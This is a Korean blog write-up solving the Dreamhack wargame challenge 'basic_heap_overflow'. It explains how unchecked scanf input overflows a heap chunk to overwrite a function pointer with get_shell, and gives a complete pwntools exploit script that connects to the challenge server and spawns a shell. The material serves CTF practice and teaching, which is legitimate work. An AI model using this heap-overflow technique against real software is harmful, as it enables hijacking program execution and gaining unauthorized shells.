v5에는 힙 주소가 적히고 (할당된 힙 청크에 영역의 주소), 데이터로 table_func을 적는다.
만약 값이 적혀있으면 해당 v5에 적힌 주소를 실행한다.
따라서 v5에 적힌 값을 get_shell로 변조하면 쉘을 딸 수 있다.
v3 포인터가 가리키는 힙 영역을 가장 먼저 할당하는데 scanf로 입력받아서 heap overflow 취약점이 존재한다.
이를 이용해서 table_func->get_shell로 바꾼다.
초기 힙 상태를 보면 2개가 할당되어 있는 것을 확인할 수 있다.
scanf 시 첫 번째 노란색 부분부터 입력받아서 0x08048694를 덮어야 한다.
4*10 + p32(get_shell) 페이로드 전당 후 get_shell이 데이터 영역에 적힌 것을 확인할 수 있다.
call <get_shell>로 get_shell 함수가 호출되어 쉘이 실행된다.
#!/usr/bin/python
from pwn import *
#p = process("./basic_heap_overflow")
p = remote("host1.dreamhack.games", 8336)
elf = ELF("./basic_heap_overflow")
get_shell = elf.symbols['get_shell']
#gdb.attach(p)
p.sendline('A'*(4*10) + p32(get_shell))
p.interactive()
[Dreamhack] welcome (0) | 2021.02.09 |
---|---|
[Dreamhack] tcache_dup2 (0) | 2020.08.29 |
[Dreamhack] memory_leakage (0) | 2020.07.08 |
[Dreamhack] House of Force (0) | 2020.06.13 |
[Dreamhack] tcache dup (0) | 2020.06.12 |